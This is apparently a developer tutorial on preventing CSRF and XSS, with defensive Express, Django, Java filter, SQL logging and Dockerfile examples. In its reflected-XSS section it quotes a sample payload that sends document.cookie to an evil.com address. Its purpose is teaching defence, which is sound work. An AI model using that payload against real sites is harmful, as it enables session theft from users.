Where developers are forged. · Structured learning · Free forever.
CSRF and XSS prevention explained deeply — understand why these attacks work, how tokens and sanitization stop them, with real code examples and common mistakes.
CSRF and XSS have been fully understood since the early 2000s — and they still sit near the top of the OWASP Top 10 because developers keep underestimating them. The vulnerabilities aren't exotic. They don't require nation-state tooling or zero-day exploits. A misconfigured form, a single unescaped variable, or one missing HTTP header is all it takes.
The 2018 British Airways breach that exposed 500,000 customers' payment details was traced to injected XSS scripts that silently exfiltrated card data as customers typed it into the checkout form. The attackers were present in that page for more than two weeks before detection. CSRF has been used to hijack home router configurations, drain account balances, and post content without consent on social platforms at scale. These are not theoretical risks — they are production incidents that happened to teams who thought they had this covered.
What makes both attacks particularly dangerous in 2026 is the ecosystem complexity. Modern applications run third-party analytics scripts, CDN-hosted libraries, A/B testing frameworks, and marketing pixels. Each one is a potential injection surface. Your Content Security Policy has to account for all of it, or it accounts for none of it effectively.
This guide covers how each attack works at the HTTP level, why standard defenses actually stop them, where developers routinely create gaps in those defenses without realizing it, and what common shortcuts create a false sense of security. The goal is not a checklist — it's a mental model that lets you reason about new attack patterns as they emerge.
How CSRF Actually Works — and Why Cookies Are the Root Cause
To understand CSRF, you need to understand one browser behavior that most developers take for granted and rarely think critically about: browsers automatically attach cookies to every request made to a domain, regardless of which site triggered that request.
This is not a bug. It's by design — the mechanism that makes 'stay logged in' work across page navigations and external links. But it creates a fundamental trust problem. If you're logged into bank.com and have a session cookie, and you visit evil.com, that malicious page can fire a form POST to bank.com/transfer. Your browser will attach your bank.com session cookie to that request automatically. The bank's server sees a valid authenticated session and processes the transfer. You never interacted with the bank's site at all.
The critical observation: the attacker doesn't need to know your cookie. They don't steal it. They just need to construct a request that your browser will make for them — and the browser's cookie-attachment behavior does the rest.
The CSRF token pattern defeats this by introducing a secret value that the attacker cannot know. The token lives inside the HTML of bank.com's pages. The same-origin policy prevents evil.com from reading bank.com's page content — so the attacker cannot retrieve the token. They can forge a request, but they cannot forge a valid token. The server rejects any POST without a valid token.
The SameSite cookie attribute takes a different approach: it tells the browser not to attach the cookie on cross-site requests at all. SameSite=Strict means the cookie is never sent on any cross-site request. SameSite=Lax allows it on top-level GET navigations (clicking a link) but blocks it on cross-site POST, PUT, and DELETE requests. Neither replaces CSRF tokens for high-security operations — SameSite is browser-enforced and has compatibility nuances; CSRF tokens are server-enforced and don't rely on browser policy.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071
// io.thecodeforge: Secure-by-default CSRF implementation
// Stack: Express 4.x + express-session + csurf
// Middleware order is not optional — session must initialize before CSRF
const express = require('express');
const session = require('express-session');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const app = express();
// Body parser must come before CSRF middleware
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
// Session middleware must initialize before CSRF middleware
// If session is unavailable, CSRF token generation fails silently in some configs
app.use(session({
secret: process.env.SESSION_SECRET, // Never hardcode — use env var
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Blocks JS access to cookie
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
sameSite: 'strict', // First line of CSRF defense
maxAge: 1000 * 60 * 60 * 8 // 8-hour session lifetime
}
}));
// csrf({ cookie: false }) stores token in session, not a cookie
// This is more secure: token never travels in a cookie that could be read
const csrfProtection = csrf({ cookie: false });
// GET: render form with fresh CSRF token embedded as hidden field
app.get('/transfer', csrfProtection, (req, res) => {
const csrfToken = req.csrfToken();
// Token is embedded in HTML — evil.com cannot read it due to same-origin policy
res.send(`
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="${csrfToken}" />
<label>Amount: <input type="number" name="amount" min="1" /></label>
<button type="submit">Transfer</button>
</form>
`);
});
// POST: csurf middleware validates _csrf field against session-stored token
// Mismatch => 403 ForbiddenError thrown automatically
app.post('/transfer', csrfProtection, (req, res) => {
// If we reach here, the CSRF token was valid
// Proceed with the actual transfer logic
const { amount } = req.body;
// ... transfer logic ...
res.send(`Transfer of $${amount} validated and completed.`);
});
// Centralized CSRF error handler — always provide this or Express will 500
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
// Log this event — repeated CSRF failures from one IP is an attack signal
console.warn(`CSRF violation: ${req.ip} -> ${req.path}`);
return res.status(403).json({
error: 'Invalid or missing CSRF token',
code: 'CSRF_VIOLATION'
});
}
next(err);
});
app.listen(3000, () => console.log('Server running on http://localhost:3000'));
▶ Output
Server running on http://localhost:3000
Mental Model
Why CSRF Tokens Work
The attacker can trigger cross-site requests, but they cannot read cross-site responses. The CSRF token lives in the response. An attacker who cannot read it cannot forge it.
- Browsers auto-attach cookies to all same-domain requests regardless of which site initiated them — this is the root cause of CSRF, not a server misconfiguration
- Same-origin policy prevents evil.com from reading bank.com's page content — the CSRF token embedded in HTML is invisible to the attacking origin
- CSRF tokens live inside page HTML — the attacker can fire the request but cannot supply the correct token value without being able to read the page
- SameSite=Strict blocks the cookie entirely on cross-site requests — it's a free, browser-enforced first line of defense but requires server-side tokens as the primary defense
- Double Submit Cookie pattern works for stateless APIs: token goes in a cookie AND in the request header or body — the server compares both values. The attacker can't read the cookie, so they can't set the matching header.
- SameSite=Lax still allows cookies on top-level GET navigations — never rely on Lax alone for state-changing operations, even if they nominally use GET
📊 Production Insight
CSRF tokens stored in cookies (Double Submit pattern) are a pragmatic choice for stateless APIs, but they carry a specific risk: if an XSS vulnerability exists anywhere on your domain, an attacker can read that cookie with document.cookie and forge the header to match. The Double Submit pattern's security guarantee depends entirely on the attacker being unable to read the cookie value — and XSS destroys that guarantee.
The per-session vs per-request token trade-off is real and worth understanding. Per-request tokens (a new token generated for every form, invalidated after use) provide stronger protection against certain replay scenarios but break browser back-button behavior — the back button restores the old form with an invalidated token, causing confusing 403 errors for legitimate users. Per-session tokens are the right default for most applications. Reserve per-request tokens for high-value, high-sensitivity operations like wire transfers, password changes, and account deletion.
🎯 Key Takeaway
CSRF works because browsers auto-attach cookies — not because your server is broken. Tokens defeat CSRF by requiring a value the attacker's origin cannot read, regardless of what cookies they can trigger being sent. SameSite cookies are your free first line — implement them — but never your only line. Defense in depth means both.
IfServer-rendered application with session-based authentication
→
UseUse synchronizer token pattern — embed token in hidden form fields, validate on every state-changing POST/PUT/DELETE. Session middleware must load before CSRF middleware.
IfStateless REST API with no server-side session
→
UseUse Double Submit Cookie — generate a random token, set it in a non-HttpOnly cookie, require the same value in an X-CSRF-Token request header. Server compares both values.
IfSPA using JWT in Authorization header (not in cookies)
→
UseCSRF does not apply — the browser will not automatically attach the Authorization header to cross-site requests. You've traded CSRF risk for XSS risk: protect localStorage tokens carefully.
IfMixed architecture with both server-rendered pages and API endpoints
→
UseUse synchronizer tokens for form submissions and X-CSRF-Token header for AJAX requests. Expose a /csrf-token endpoint that returns a fresh token for SPA initialization.
How XSS Works — and Why Output Encoding Is Non-Negotiable
XSS happens when your application takes untrusted data and renders it in a browser context where the browser interprets it as executable HTML or JavaScript, instead of as inert plain text. The attacker doesn't break into your server. They convince your server to deliver their payload to your users on your behalf.
There are three distinct types, and understanding the difference matters for defense:
Reflected XSS: the malicious script is embedded in a URL parameter and your server reflects it back unsanitized in the response. It only affects the user who loads the crafted URL. The attack requires social engineering — the victim must click a link. Example: search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>.
Stored XSS: the payload is saved to your database through a form submission — a comment, a display name, a profile bio — and then served to every user who views that content. This is categorically more dangerous because it executes on every page load without requiring the victim to click anything. One stored payload can compromise thousands of users.
DOM-based XSS: the injection happens entirely in client-side JavaScript. The server is never involved. Your own JavaScript reads from an untrusted source — URL hash, query parameters, postMessage events — and writes it to innerHTML or calls eval() on it. This variant is invisible to server-side WAFs and log analysis.
The primary defense for all three is output encoding: treating user input as data, never as markup. HTML-encode every character that could be interpreted as HTML structure before rendering it. An angle bracket becomes <. A quote becomes ". The browser renders the text literally instead of parsing it as HTML.
Output encoding must happen at render time, in the correct context. There are at least four distinct encoding contexts: HTML body, HTML attribute, JavaScript string, and URL. Encoding for the wrong context either doesn't protect you or double-encodes your content into garbage. Most modern template engines handle HTML body context automatically — the danger is when you opt out, or when you render into JavaScript or URL contexts without realizing it.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
# io.thecodeforge: XSS mitigation patterns — Django
# Three layers: template engine auto-escape, manual escape for logic contexts,
# and CSP middleware as the browser-level enforcement layer
from django.shortcuts import render
from django.utils.html import escape, format_html
from django.http import HttpResponse
def user_profile(request, username):
"""
Renders a user profile page.
Django templates auto-escape variables by default, so {{ username }}
in a template is safe. The manual escape() call here is for cases where
the value is used in Python string formatting before being passed to
the template — for example, building a log message or an error string.
Never use format_html() with f-strings or % formatting.
format_html() must do the interpolation itself to apply escaping.
"""
# Auto-escaped in templates: {{ username }} is safe without extra steps
# Manual escape for use in Python-side string construction
safe_username = escape(username)
# format_html is the correct way to construct HTML strings in Python code
# It escapes all interpolated values — unlike f-strings which do not
profile_heading = format_html('<h1>Profile: {}</h1>', username)
return render(request, 'profile.html', {
'username': safe_username,
'profile_heading': profile_heading,
})
class ForgeCSPMiddleware:
"""
Centralized Content Security Policy enforcement.
Placed in middleware so every response — including error pages,
redirects, and static file responses — gets the CSP header.
CSP is the browser-level backstop: even if an XSS payload slips
through encoding, a strict CSP blocks execution and exfiltration.
Header breakdown:
default-src 'self' — default fallback: only load from same origin
script-src 'self' — no inline scripts, no external script hosts
connect-src 'self' — fetch/XHR can only reach same origin
(blocks cookie exfiltration via fetch)
object-src 'none' — blocks Flash, ActiveX, and plugin-based XSS
frame-ancestors 'none' — equivalent to X-Frame-Options: DENY
"""
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
response = self.get_response(request)
response['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"connect-src 'self'; "
"object-src 'none'; "
"frame-ancestors 'none'"
)
# Prevents MIME-type sniffing attacks on script/style resources
response['X-Content-Type-Options'] = 'nosniff'
# Belt-and-suspenders clickjacking protection alongside frame-ancestors
response['X-Frame-Options'] = 'DENY'
return response
▶ Output
Response headers applied: Content-Security-Policy, X-Content-Type-Options, X-Frame-Options
⚠ innerHTML Is an XSS Open Door — and It Shows Up More Than You'd Think
The most common XSS vector in modern React and Vue applications isn't in server templates — it's in JavaScript code that does element.innerHTML = userContent or React's dangerouslySetInnerHTML={{ __html: userContent }}. Developers reach for these when they need to render formatted text — markdown output, rich text editor content, localized strings with embedded HTML. The fix is not to avoid them entirely but to never pass them unsanitized content. Always run content through DOMPurify.sanitize() before assigning it to innerHTML or dangerouslySetInnerHTML. For plain text, use element.textContent instead — it cannot be interpreted as HTML regardless of what the string contains.
📊 Production Insight
Stored XSS is roughly an order of magnitude more dangerous than reflected XSS in practice — not because the payload is different, but because of reach and persistence. A reflected XSS requires the attacker to deliver a crafted URL to each victim individually. A stored XSS sitting in a popular comments section, a user bio rendered in a sidebar, or a product review displayed on a high-traffic page executes for every visitor automatically, indefinitely, until discovered and removed.
The encoding-at-render-time rule exists for a reason that isn't immediately obvious: if you HTML-encode user input before storing it in the database, you corrupt the data for every non-HTML context it's ever used in. The stored string goes into emails as <script>. It goes into CSV exports with HTML entities in the cells. It goes into API responses as mangled JSON strings. Store raw. Encode at render time, in the correct context for each output destination.
🎯 Key Takeaway
XSS is not a browser bug — it is your application injecting attacker code into your own pages. Output encoding stops injection at the HTML parsing level. CSP stops execution at the browser enforcement level. Use both — encoding is the seatbelt that prevents the crash; CSP is the airbag that limits damage when something gets through.
Defense Persistence: Audit Logging Security Events
Deploying CSRF tokens and output encoding is the prevention layer. Audit logging is the detection layer — and without detection, you won't know when prevention has failed until the damage is done.
Every blocked CSRF attempt should be logged. Not because the individual block matters, but because a burst of CSRF violations from a single IP or targeting a specific endpoint is an attack signal. Alone, each blocked request is noise. In aggregate, they reveal a probing pattern.
XSS detection is harder because a successful XSS payload executes in the victim's browser, not on your server. CSP violation reports (via report-uri or report-to directives) are the most practical server-side signal that an injection is occurring. Every time the browser blocks a script execution that violates your CSP, it can send a JSON report to an endpoint you control. Those reports identify the blocked resource, the violated directive, and the page where it happened — which is often enough to locate the injection point.
The schema below captures both event types in a form that supports both real-time alerting and forensic investigation. The payload_preview field is deliberately truncated — you want enough to identify the attack pattern, but you never want full credentials, tokens, or session data in your logs.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
-- io.thecodeforge: Security Event Tracking Schema
-- Captures CSRF violations and XSS detection events for alerting and forensics
CREATE TABLE io.thecodeforge.security_logs (
id SERIAL PRIMARY KEY,
event_type VARCHAR(50) NOT NULL, -- 'CSRF_BLOCKED', 'XSS_DETECTED', 'CSP_VIOLATION'
severity VARCHAR(10) NOT NULL DEFAULT 'HIGH', -- 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'
source_ip INET,
user_agent TEXT,
request_path TEXT,
http_method VARCHAR(10),
user_id INTEGER, -- NULL for unauthenticated requests
session_id VARCHAR(64), -- Hashed session ID for correlation, never raw
payload_preview TEXT, -- Truncated at 500 chars — never log full tokens
csp_blocked_uri TEXT, -- Populated for CSP_VIOLATION events
created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);
-- Index for real-time alerting queries: detect burst of violations from one IP
CREATE INDEX idx_security_logs_ip_time
ON io.thecodeforge.security_logs (source_ip, created_at DESC);
-- Index for event-type dashboards
CREATE INDEX idx_security_logs_event_type
ON io.thecodeforge.security_logs (event_type, created_at DESC);
-- Example: log a CSRF violation
INSERT INTO io.thecodeforge.security_logs
(event_type, severity, source_ip, request_path, http_method, payload_preview)
VALUES
('CSRF_BLOCKED', 'HIGH', '192.168.1.1', '/api/v1/transfer', 'POST',
'_csrf=FORGED_TOKEN_TRUNCATED...');
-- Alert query: more than 10 CSRF violations from one IP in the last 60 seconds
-- Run this as a scheduled job or connect to PagerDuty via your SIEM
SELECT
source_ip,
COUNT(*) AS violation_count,
MIN(created_at) AS first_seen,
MAX(created_at) AS last_seen
FROM io.thecodeforge.security_logs
WHERE
event_type = 'CSRF_BLOCKED'
AND created_at > NOW() - INTERVAL '60 seconds'
GROUP BY source_ip
HAVING COUNT(*) > 10
ORDER BY violation_count DESC;
▶ Output
Audit log entry created. Alert query returns IPs exceeding violation threshold.
A security log that nobody reads in real time is compliance documentation, not security infrastructure. Wire your security_logs table to a SIEM alert or a simple cron job that calls PagerDuty when CSRF_BLOCKED events exceed a threshold from a single IP within a rolling time window. The alert query in the schema above is a starting point — tune the threshold based on your normal traffic volume before it becomes noise.
📊 Production Insight
Security logs without alerting are write-only data. They protect no one in real time, and they're only useful forensically after an incident that you already know happened. The two event types worth alerting on immediately: more than 10 CSRF violations from a single IP in 60 seconds (automated attack script), and any CSP_VIOLATION event from a page that renders user-supplied content (potential active XSS injection).
CSP violation reports deserve special attention because they fire even when your encoding is correct — an attacker probing for injection points will trigger CSP violations before they find a successful bypass. Treating CSP reports as low-priority noise means ignoring the earliest warning signal you have.
🎯 Key Takeaway
Audit logs prove what happened after the fact. Alerting on those logs prevents the next thing from happening. Log the payload preview for forensics, but never log full tokens, passwords, or session IDs — your log infrastructure has a different, usually broader access control surface than your application.
Enterprise Integration: The Java Security Filter
For Java-based backends — Spring Boot services, Jakarta EE applications, legacy Servlet containers — centralized security header enforcement belongs in a Filter, not in individual controllers. Controllers are business logic. Security headers are infrastructure. Mixing them means one new endpoint written by an engineer who wasn't thinking about security ships without the headers.
A Filter runs on every request-response cycle regardless of which controller handles the request. It covers 200s, 404s, 500s, redirects, and OPTIONS preflight responses. In a microservices context, this filter belongs in a shared security library deployed as a dependency across all services — so adding a new service means inheriting the security headers automatically, not remembering to copy-paste them.
The headers below represent the minimum bar for a production Java service in 2026. They're not exhaustive — Permissions-Policy, Cross-Origin-Resource-Policy, and Cross-Origin-Opener-Policy are worth adding for high-security contexts — but these five cover the most impactful attack vectors with essentially zero performance overhead.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
package io.thecodeforge.security;
import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.FilterConfig;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* io.thecodeforge: Centralized Security Header Enforcement
*
* Applies all required security response headers on every HTTP response.
* Implemented as a Filter rather than individual controller annotations
* to guarantee 100% coverage — including error pages, redirects,
* static resource responses, and any future endpoints.
*
* Deploy in shared-security-lib and import as a dependency across services.
* Do not copy this class into individual service repositories.
*/
@WebFilter(urlPatterns = "/*") // Intercept every request path
public class SecurityHeaderFilter implements Filter {
private static final Logger log = LoggerFactory.getLogger(SecurityHeaderFilter.class);
// CSP value extracted to a constant — change once, applies everywhere
// Tighten script-src per-service using subclass overrides if needed
private static final String CSP_POLICY =
"default-src 'self'; " +
"script-src 'self'; " +
"connect-src 'self'; " +
"object-src 'none'; " +
"frame-ancestors 'none'";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
log.info("SecurityHeaderFilter initialized — all responses will carry security headers");
}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletResponse response = (HttpServletResponse) res;
// Clickjacking protection: prevents your pages from being embedded in iframes
// frame-ancestors in CSP is the modern equivalent; X-Frame-Options for older browsers
response.setHeader("X-Frame-Options", "DENY");
// Prevents browser MIME-type sniffing — a vector for content-type confusion attacks
response.setHeader("X-Content-Type-Options", "nosniff");
// Content Security Policy: restricts which sources of scripts, styles,
// and connections are permitted — browser-enforced XSS mitigation layer
response.setHeader("Content-Security-Policy", CSP_POLICY);
// Enforce HTTPS for all future requests from this origin
// max-age=31536000 = 1 year; includeSubDomains extends to all subdomains
response.setHeader("Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload");
// Prevents Referer header from leaking your origin URL to third-party resources
response.setHeader("Referrer-Policy", "strict-origin-when-cross-origin");
chain.doFilter(req, res);
}
@Override
public void destroy() {
log.info("SecurityHeaderFilter destroyed");
}
}
▶ Output
SecurityHeaderFilter initialized — all responses will carry security headers
Scattering security headers across individual controllers creates an inevitability problem: some endpoint will be added without them. A new engineer writes an exception handler. A framework generates an error page. A health-check endpoint gets added quickly. None of them get the headers because adding security headers wasn't part of anyone's mental model for that task. A servlet filter runs on every response without exception, including the ones nobody thought to protect. That's the only coverage guarantee that actually holds.
📊 Production Insight
Security headers set in individual controllers are a maintenance liability disguised as a security feature. They work until they don't — until someone adds a new endpoint, modifies an error handler, or upgrades a framework that generates its own responses for certain status codes. I've seen production security scans flag services that had 95% coverage from controller-level header setting, with the missing 5% being 404 pages and exception responses that the WAF wasn't watching.
The Strict-Transport-Security header in the filter above is particularly important: it tells browsers to never make HTTP requests to your domain, only HTTPS — for up to a year after the first visit. Without it, an attacker can intercept the initial HTTP request on an unsecured network and strip the HTTPS redirect before the user's browser has a chance to upgrade. This is the HSTS downgrade attack, and it's still practical on public Wi-Fi.
🎯 Key Takeaway
Centralized enforcement in a filter is the only way to guarantee 100% header coverage. One forgotten endpoint — a 404 handler, an error page, a health check — is all an attacker needs to find an unprotected surface. Filters run on every response. Put security there.
Containerized Security: Deploying Hardened Runtimes
Application-level security — CSRF tokens, output encoding, CSP headers — protects against attacks that reach your application code. Container security protects against what happens when those defenses fail, or when an attacker finds a way in through a dependency vulnerability, a deserialization bug, or an unpatched library.
The principle is blast radius reduction. If an attacker achieves Remote Code Execution (RCE) in your application, what can they do from there? Running as root inside a container means they can read every environment variable, write to the filesystem, install packages, and potentially escape the container if the container runtime has vulnerabilities. Running as a non-root user means they're constrained to what that user can do — which in a minimal Alpine-based image with no package manager and read-only mounts is very little.
The Dockerfile below implements the standard hardened production baseline. It's not exotic — no SELinux profiles, no seccomp filters, no AppArmor policies — just the handful of Dockerfile directives that eliminate the most common container security failures. These are worth doing in every service, not just the ones you're worried about.
123456789101112131415161718192021222324252627282930313233343536373839404142
# io.thecodeforge: Hardened Production Container
# Base: node:20-alpine — minimal attack surface, no package manager in final image
# Pattern: two-stage approach ensures build tools never ship to production
# ---- Stage 1: dependency installation ----
FROM node:20-alpine AS deps
WORKDIR /build
# Copy lock file first — Docker layer cache avoids re-running npm ci
# unless package-lock.json actually changes
COPY package*.json ./
# npm ci: clean install from lock file — deterministic, no version drift
# --only=production: excludes devDependencies (test runners, build tools)
# from the final image
RUN npm ci --only=production
# ---- Stage 2: production runtime ----
FROM node:20-alpine
# Run as non-privileged user — node user exists in the official image
# If an attacker achieves RCE, they operate as 'node' with minimal permissions
# They cannot install packages, write to system paths, or modify other users' files
USER node
WORKDIR /home/node/app
# Copy only production node_modules from the deps stage
# Build tools (npm, yarn, compilers) are not present in the final image
COPY --from=deps --chown=node:node /build/node_modules ./node_modules
# Copy application source
COPY --chown=node:node . .
# Expose only the port the application actually uses
# This does not publish the port — that's done at docker run or in compose
EXPOSE 3000
# Use exec form (array syntax) not shell form ('node server.js')
# Exec form means node is PID 1 and receives SIGTERM directly
# Shell form wraps in /bin/sh -c, which swallows signals and complicates graceful shutdown
CMD ["node", "server.js"]
▶ Output
Successfully built image thecodeforge/hardened-app:latest
⚠ Running as Root in Containers: The Default That Shouldn't Be
The default Docker user is root. This is not a temporary development convenience — it's the production default for any image that doesn't explicitly set USER. If an attacker exploits an RCE vulnerability in your Node.js application, your Express framework, or any of your npm dependencies (and supply chain attacks against npm packages are a documented, recurring threat), they get root access inside the container. From root, privilege escalation paths to the host are not theoretical — they're documented CVEs against container runtimes. Setting USER node is a single line that eliminates the entire class of 'attacker got RCE and now has root' scenarios.
📊 Production Insight
The multi-stage Dockerfile pattern matters beyond just image size. Build tools — compilers, dev dependencies, npm itself in some configurations — represent a significant attack surface if they're present in the production image. An attacker with RCE who finds npm installed can run npm install <malicious-package> to extend their capabilities. An attacker who finds no package manager and a read-only filesystem is constrained to the application's existing capabilities.
Alpine-based images reduce the installed binary surface by roughly 90% compared to a full Debian or Ubuntu base image. There's no curl, no wget, no bash (only sh), no compiler toolchain. That's not just a size optimization — it's removal of the tools that make post-exploitation pivoting significantly easier. The trade-off is occasional compatibility friction with packages that have native bindings requiring glibc instead of musl libc. Verify your dependency tree against Alpine compatibility before committing to it in a production service.
🎯 Key Takeaway
Container security is defense-in-depth for the application security layer — your app can have an exploitable vulnerability, but the blast radius is contained by what the process is permitted to do. Non-root USER is the single most impactful Dockerfile security change. Alpine images reduce the post-exploitation toolkit available to an attacker. Multi-stage builds keep build tools out of the production runtime.
🗂 CSRF vs XSS
Two attack vectors, two trust models, two defense strategies — understanding which trust relationship each attack exploits determines which defenses actually work
| Aspect | CSRF (Cross-Site Request Forgery) | XSS (Cross-Site Scripting) |
|---|
| What trust relationship the attacker abuses | The server's trust in the user's browser — the server sees a valid session cookie and assumes the user authorized the request | The user's trust in the website's content — the user's browser sees content delivered from your domain and treats it as legitimate |
| Where the attack originates | A separate malicious website that the victim visits while logged into the target site | Code injected into the target website itself — the malicious content is served from your own domain |
| What the attacker can do | Trigger authenticated actions on behalf of the victim — transfers, setting changes, data modifications — anything the victim's session is authorized to do | Execute arbitrary JavaScript in the victim's browser with full access to the DOM, cookies (non-HttpOnly), localStorage, and the ability to make authenticated requests |
| Can the attacker read response data? | No — same-origin policy blocks the attacker from reading the response. CSRF can only trigger actions, not exfiltrate data directly. | Yes — attacker code runs on your origin, so it has full access to everything on the page, including DOM content, form values, and non-HttpOnly cookies |
| Can one vulnerability bypass the other's defense? | Yes — XSS can read CSRF tokens from the DOM, completely bypassing CSRF token protection since the token is visible to same-origin JavaScript | Partially — CSRF does not bypass XSS, but stored XSS can be used to perform CSRF actions from within the victim's browser once the XSS executes |
| Primary defense | Synchronizer CSRF tokens embedded in forms, validated server-side on every state-changing request | Output encoding at render time in the correct context (HTML, JS, URL, CSS) — treat user input as data, never as markup |
| Secondary defense | SameSite=Strict cookie attribute (browser-enforced) + Origin/Referer header validation as a belt-and-suspenders check | Content Security Policy header — browser-enforced execution restrictions that block injected scripts even if encoding is bypassed |
| Relative severity | High — can perform any authenticated action the victim's session is authorized for | Critical — can read data, bypass CSRF, steal session tokens, and persist in stored form to affect all future visitors |